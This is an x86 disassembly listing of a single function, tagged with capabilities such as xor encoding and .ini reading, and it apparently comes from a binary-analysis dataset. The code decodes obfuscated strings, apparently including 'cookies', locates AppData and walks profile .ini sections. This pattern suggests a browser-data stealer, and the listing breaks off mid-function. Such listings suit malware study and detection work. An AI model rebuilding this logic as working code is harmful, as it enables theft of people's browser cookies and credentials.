Function at 0x439040
Capabilities:
Encode data using xor
Get common file path
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507500
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x14f0
push ebx
call fcn.004de590
push esi
mov esi, ecx
mov dword [ebp - 0x11c], esi
push edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.00467f80
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x24], 1
mov eax, esp
lea ecx, [ebp - 0xc0]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004643c0
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x34], 0xf5f2f3f8
mov dword [ebp - 0x30], 0xd2c5f6
mov byte [ebp - 0x2c], 1
nop
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x4390e0
lea eax, [ebp - 0x34]
mov byte [ebp - 0x2c], 0
push eax
mov ecx, esi
call fcn.0046a630
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0xc0]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb8]
mov byte [ebp - 0xc0], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xc0]
mov dword [edi + 8], eax
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], esi
call fcn.00464020
push 0x104
lea eax, [ebp - 0x500]
push 0
push eax
call fcn.004df810
add esp, 0xc
lea eax, [ebp - 0x500]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x500]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439176
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x43aa3a
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x500]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x208]
call fcn.0046dfc0
mov dword [ebp - 0x24], 0x81
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x68], 0xf1efecc7
mov dword [ebp - 0x64], 0xc7cdc9f9
mov dword [ebp - 0x60], 0xc8cc8ad0
mov word [ebp - 0x5c], 0xce
mov byte [ebp - 0x5a], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 0xd
jb 0x4391e1
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x5a], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439200
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1f8]
sub eax, edx
cmp eax, ecx
jb 0x43aa3f
cmp dword [ebp - 0x1f4], 0x10
lea eax, [ebp - 0x208]
push ecx
cmovae eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x68]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1e0]
call fcn.0046dfc0
mov esi, 0xc1
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 5
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0x10
cmovae eax, dword [ebp - 0x1e0]
push eax
push 0x1000
lea eax, [ebp - 0x1500]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea edi, [ebp - 0x1500]
mov dword [ebp - 0x114], edi
nop word [eax + eax]
mov dword [ebp - 0x91], 0xf8f2eecb
xor ecx, ecx
mov dword [ebp - 0x8d], 0xc4ccf6
mov byte [ebp - 0x89], 1
nop dword [eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x91], al
inc ecx
cmp ecx, 7
jb 0x4392b0
push 7
lea eax, [ebp - 0x91]
mov byte [ebp - 0x89], 0
push eax
push edi
call fcn.004eae0e
add esp, 0xc
test eax, eax
jne 0x43a94d
push 0x104
push eax
lea eax, [ebp - 0x3f8]
push eax
call fcn.004df810
add esp, 0xc
mov dword [ebp - 0x52], 0xf6e9fdcb
cmp dword [ebp - 0x1cc], 0x10
lea edx, [ebp - 0x1e0]
mov word [ebp - 0x4e], 0x100
cmovae edx, dword [ebp - 0x1e0]
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 4
jb 0x439320
push edx
push 0x104
lea eax, [ebp - 0x3f8]
mov byte [ebp - 0x4d], 0
push eax
push 0
lea eax, [ebp - 0x52]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x43]
mov word [ebp - 0x43], 0x5c
mov byte [ebp - 0x41], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439360
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1f8]
sub eax, edx
cmp eax, ecx
jb 0x43aa3a
cmp dword [ebp - 0x1f4], 0x10
lea eax, [ebp - 0x208]
push ecx
cmovae eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x43]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf0]
call fcn.0046dfc0
or esi, 4
mov dword [ebp - 0x24], esi
lea eax, [ebp - 0x3f8]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xf0]
call fcn.00466290
or esi, 8
mov dword [ebp - 0x24], esi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x254], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x244], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xdc]
cmp ecx, 0x10
jb 0x439430
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439426
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aa44
push ecx
push edx
call fcn.004dd831
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
lea ecx, [ebp - 0x3f8]
mov dword [ebp - 0xdc], 0xf
mov byte [ebp - 0xf0], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439472
sub ecx, edx
lea eax, [ebp - 0x3f8]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00402870
mov byte [ebp - 4], 9
lea edi, [ebp - 0xd8]
cmp dword [ebp - 0xc4], 0x10
mov esi, dword [ebp - 0xc8]
cmovae edi, dword [ebp - 0xd8]
test esi, esi
je 0x43959f
push esi
push 0x2f
push edi
call fcn.004e1000
add esp, 0xc
test eax, eax
je 0x43959f
sub eax, edi
cmp eax, 0xffffffff
je 0x43959f
sub esp, 0x18
mov word [ebp - 0x55], 0x2f
mov edx, esp
mov byte [ebp - 0x53], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x55]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439500
sub ecx, esi
lea eax, [ebp - 0x55]
push ecx
push eax
mov ecx, edx
call fcn.00402870
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xd8]
mov ecx, esp
push eax
call fcn.00466580
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 9
call fcn.0040c470
add esp, 0x30
mov byte [ebp - 4], 0xb
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x238]
mov esi, dword [ebp - 0x23c]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xd8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x43958a
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x43957d
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00466160
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 9
call fcn.00468770
mov esi, dword [ebp - 0xc8]
cmp dword [ebp - 0xc4], 0x10
lea edi, [ebp - 0xd8]
cmovae edi, dword [ebp - 0xd8]
test esi, esi
je 0x439693
push esi
push 0x5c
push edi
call fcn.004e1000
add esp, 0xc
test eax, eax
je 0x439693
sub eax, edi
cmp eax, 0xffffffff
je 0x439693
sub esp, 0x18
mov word [ebp - 0x46], 0x5c
mov edx, esp
mov byte [ebp - 0x44], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], esp
lea ecx, [ebp - 0x46]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439606
sub ecx, esi
lea eax, [ebp - 0x46]
push ecx
push eax
mov ecx, edx
call fcn.00402870
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0xd8]
mov ecx, esp
push eax
call fcn.00466580
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 9
call fcn.0040c470
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x64]
mov esi, dword [ebp - 0x68]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xd8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x439687
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x43967a
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00466160
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 9
call fcn.00468770
movaps xmm0, xmmword [0x525e00]
xor ecx, ecx
movups xmmword [ebp - 0x101], xmm0
mov byte [ebp - 0xf1], 1
nop word [eax + eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x101], al
inc ecx
cmp ecx, 0xf
jb 0x4396b0
lea ecx, [ebp - 0x101]
mov byte [ebp - 0xf1], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4396d1
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x244]
sub eax, edx
cmp eax, ecx
jb 0x43aa3a
cmp dword [ebp - 0x240], 0x10
lea eax, [ebp - 0x254]
push ecx
cmovae eax, dword [ebp - 0x254]
lea ecx, [ebp - 0x101]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1c8]
call fcn.0046dfc0
mov esi, dword [ebp - 0x24]
or esi, 2
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], 0x100fee9
xor ecx, ecx
nop
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 2
jb 0x439730
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x28]
lea eax, [ebp - 0x1c8]
mov byte [ebp - 0x25], 0
cmovae eax, dword [ebp - 0x1c8]
push ecx
push eax
call fcn.004e3680
add esp, 8
test eax, eax
je 0x43a857
push eax
call fcn.004e6f08
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xb8]
push 0
mov byte [ebp - 0xc0], 0
call fcn.00467f80
sub esp, 8
mov byte [ebp - 4], 0x10
mov eax, esp
lea ecx, [ebp - 0x160]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004643c0
add esp, 8
mov byte [ebp - 4], 0x11
mov al, byte [ebp - 0xc0]
test al, al
jne 0x439824
push 8
mov byte [ebp - 0xc0], 1
call fcn.004dd5b0
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10d]
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x230], eax
mov byte [ebp - 4], 0x12
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004dd5b0
mov byte [ebp - 4], 0x11
add esp, 4
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0xb8], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x439832
cmp al, 1
jne 0x43aa49
mov esi, dword [ebp - 0xb8]
lea eax, [ebp - 0xd8]
mov ecx, esi
push eax
call fcn.00468150
mov byte [ebp - 4], 0x10
mov edi, eax
mov cl, byte [ebp - 0x160]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x158]
mov byte [ebp - 0x160], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x160]
mov dword [edi + 8], eax
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], esi
call fcn.00464020
cmp dword [ebp - 0x1b4], 0x10
lea ecx, [ebp - 0x1c8]
lea edx, [ebp - 0x118]
cmovae ecx, dword [ebp - 0x1c8]
call fcn.00414580
test eax, eax
jne 0x43a7fa
movaps xmm0, xmmword [0x527840]
xor ecx, ecx
movups xmmword [ebp - 0x2a3], xmm0
mov dword [ebp - 0x263], 0xb1b0fc96
movaps xmm0, xmmword [0x5270f0]
movups xmmword [ebp - 0x293], xmm0
mov dword [ebp - 0x25f], 0x8d82bfa5
movaps xmm0, xmmword [0x527890]
movups xmmword [ebp - 0x283], xmm0
mov dword [ebp - 0x25b], 0x838c8f8c
movaps xmm0, xmmword [0x526140]
movups xmmword [ebp - 0x273], xmm0
mov word [ebp - 0x257], 0x94
mov byte [ebp - 0x255], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x2a3], al
inc ecx
cmp ecx, 0x4d
jb 0x439914
mov ecx, dword [ebp - 0x118]
lea eax, [ebp - 0x20]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x2a3]
mov byte [ebp - 0x255], 0
call fcn.004c2f40
add esp, 0x14
test eax, eax
jne 0x43a7ef
mov edi, dword [ebp - 0x20]
mov ecx, edi
call fcn.0049f880
cmp eax, 0x64
jne 0x43a777
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x228], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x128]
push 0
mov byte [ebp - 0x130], 0
call fcn.00467f80
mov byte [ebp - 4], 0x16
test edi, edi
je 0x4399de
cmp dword [edi + 0x2c], 0
je 0x4399b9
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x4399b9
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4399b4
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x4399e3
mov eax, dword [edi]
test eax, eax
je 0x4399de
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4399d0
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test edi, edi
je 0x439a44
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x439a27
cmp byte [esi + 0x1e], 0
jne 0x439a0a
mov edx, esi
cmp ecx, 0xc0a
jne 0x439a22
push 0
push 7
push esi
call fcn.0048e230
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x439a2e
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x439a44
push eax
call dword [0x534d50]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x170], 3
push 0x18
movq qword [ebp - 0x168], xmm0
call fcn.004dd5b0
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x224], esi
mov byte [ebp - 4], 0x17
xorps xmm0, xmm0
mov edx, dword [ebp - 0x18]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439a90
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.00402870
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x168], esi
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0x7f], 0xfff0f3ff
mov dword [ebp - 0x7b], 0x100cef6
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 6
jb 0x439ac7
lea eax, [ebp - 0x7f]
mov byte [ebp - 0x78], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a630
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x164]
mov edi, dword [ebp - 0x14]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x170], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x168], ecx
lea ecx, [ebp - 0x170]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x164], edx
call fcn.00464020
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x49]
xorps xmm0, xmm0
mov word [ebp - 0x49], 0x31
mov byte [ebp - 0x47], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439b56
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00402870
mov byte [ebp - 4], 0x19
test edi, edi
je 0x439bc8
cmp dword [edi + 0x2c], 0
je 0x439ba3
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x439ba3
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439b9b
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x439bcd
mov eax, dword [edi]
test eax, eax
je 0x439bc8
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439bba
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov edx, eax
mov dword [ebp - 0x18], edx
test edi, edi
je 0x439c33
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x439c13
cmp byte [esi + 0x1e], 0
jne 0x439bf6
mov eax, esi
cmp ecx, 0xc0a
jne 0x439c0e
push 0
push 7
push esi
call fcn.0048e230
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x439c1a
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439c30
push eax
call dword [0x534d50]
add esp, 4
mov edx, dword [ebp - 0x18]
mov ecx, edx
mov dword [ebp - 0xf8], 0
xorps xmm0, xmm0
mov dword [ebp - 0xf4], 0
movups xmmword [ebp - 0x108], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439c56
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x108]
call fcn.00402870
cmp dword [ebp - 0xdc], 0x10
lea eax, [ebp - 0xf0]
mov ecx, dword [ebp - 0xf0]
xorps xmm0, xmm0
push dword [ebp - 0xe0]
mov esi, dword [ebp - 0x108]
cmovae eax, ecx
mov edx, dword [ebp - 0xf8]
setae byte [ebp - 0x19]
cmp dword [ebp - 0xf4], 0x10
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x108]
cmovae ecx, esi
movq qword [ebp - 0x178], xmm0
push eax
setae byte [ebp - 0x1a]
mov byte [ebp - 0x180], 4
call fcn.004762c0
mov byte [ebp - 0x140], al
add esp, 8
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x174], eax
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov dword [ebp - 0x9b], 0xeee9e8f3
mov dword [ebp - 0x97], 0xdbcdced0
mov word [ebp - 0x93], 0x100
nop dword [eax + eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x9b], al
inc ecx
cmp ecx, 8
jb 0x439d10
lea eax, [ebp - 0x9b]
mov byte [ebp - 0x92], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a630
mov edi, dword [ebp - 0x140]
mov cl, byte [eax]
mov byte [eax], 4
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x180], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], edi
mov edi, dword [ebp - 0x13c]
mov dword [ebp - 0x178], ecx
lea ecx, [ebp - 0x180]
mov dword [eax + 0xc], edi
mov dword [ebp - 0x174], edx
call fcn.00464020
cmp byte [ebp - 0x1a], 0
mov byte [ebp - 4], 0x19
mov edi, dword [ebp - 0x20]
je 0x439db0
mov ecx, dword [ebp - 0xf4]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x439da6
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aa44
push ecx
push esi
call fcn.004dd831
add esp, 8
cmp byte [ebp - 0x19], 0
mov byte [ebp - 4], 0x16
je 0x439dec
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x439de2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aa44
push ecx
push edx
call fcn.004dd831
add esp, 8
test edi, edi
je 0x439e41
cmp dword [edi + 0x2c], 0
je 0x439e1c
mov eax, 2
cmp ax, word [edi + 0x30]
jae 0x439e1c
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439e14
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x50
jmp 0x439e46
mov eax, dword [edi]
test eax, eax
je 0x439e41
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439e33
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x14], eax
test edi, edi
je 0x439ea7
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x439e8a
cmp byte [esi + 0x1e], 0
jne 0x439e6d
mov eax, esi
cmp ecx, 0xc0a
jne 0x439e85
push 0
push 7
push esi
call fcn.0048e230
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x439e91
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x439ea7
push eax
call dword [0x534d50]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x190], 3
push 0x18
movq qword [ebp - 0x188], xmm0
call fcn.004dd5b0
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10b]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], esi
mov byte [ebp - 4], 0x1c
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439f00
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00402870
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x188], esi
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov dword [ebp - 0x40], 0xf6e9fdeb
mov word [ebp - 0x3c], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 4
jb 0x439f36
lea eax, [ebp - 0x40]
mov byte [ebp - 0x3b], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a630
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x184]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x190], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x188], ecx
lea ecx, [ebp - 0x190]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x184], edx
call fcn.00464020
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x4c]
xorps xmm0, xmm0
mov word [ebp - 0x4c], 0x31
mov byte [ebp - 0x4a], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x439fc5
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x108]
call fcn.00402870
mov byte [ebp - 4], 0x1e
test edi, edi
je 0x43a037
cmp dword [edi + 0x2c], 0
je 0x43a012
mov eax, 3
cmp ax, word [edi + 0x30]
jae 0x43a012
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a00a
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x78
jmp 0x43a03c
mov eax, dword [edi]
test eax, eax
je 0x43a037
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a029
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov edx, eax
mov dword [ebp - 0x18], edx
test edi, edi
je 0x43a0a2
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a082
cmp byte [esi + 0x1e], 0
jne 0x43a065
mov eax, esi
cmp ecx, 0xc0a
jne 0x43a07d
push 0
push 7
push esi
call fcn.0048e230
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43a089
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a09f
push eax
call dword [0x534d50]
add esp, 4
mov edx, dword [ebp - 0x18]
mov ecx, edx
mov dword [ebp - 0xe0], 0
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0
movups xmmword [ebp - 0xf0], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a0c5
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xf0]
call fcn.00402870
cmp dword [ebp - 0xf4], 0x10
lea eax, [ebp - 0x108]
mov ecx, dword [ebp - 0x108]
xorps xmm0, xmm0
push dword [ebp - 0xf8]
mov esi, dword [ebp - 0xf0]
cmovae eax, ecx
mov edx, dword [ebp - 0xe0]
setae byte [ebp - 0x1a]
cmp dword [ebp - 0xdc], 0x10
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0xf0]
cmovae ecx, esi
movq qword [ebp - 0x1e8], xmm0
push eax
setae byte [ebp - 0x19]
mov byte [ebp - 0x1f0], 4
call fcn.004762c0
mov byte [ebp - 0x138], al
add esp, 8
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x1e4], eax
mov byte [ebp - 4], 0x20
xor ecx, ecx
mov dword [ebp - 0x77], 0xebfef9e8
mov dword [ebp - 0x73], 0x100c5ed
nop dword [eax + eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x77], al
inc ecx
cmp ecx, 6
jb 0x43a170
lea eax, [ebp - 0x77]
mov byte [ebp - 0x70], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a630
mov edi, dword [ebp - 0x138]
mov cl, byte [eax]
mov byte [eax], 4
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x1f0], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], edi
mov edi, dword [ebp - 0x134]
mov dword [ebp - 0x1e8], ecx
lea ecx, [ebp - 0x1f0]
mov dword [eax + 0xc], edi
mov dword [ebp - 0x1e4], edx
call fcn.00464020
cmp byte [ebp - 0x19], 0
mov byte [ebp - 4], 0x1e
mov edi, dword [ebp - 0x20]
je 0x43a207
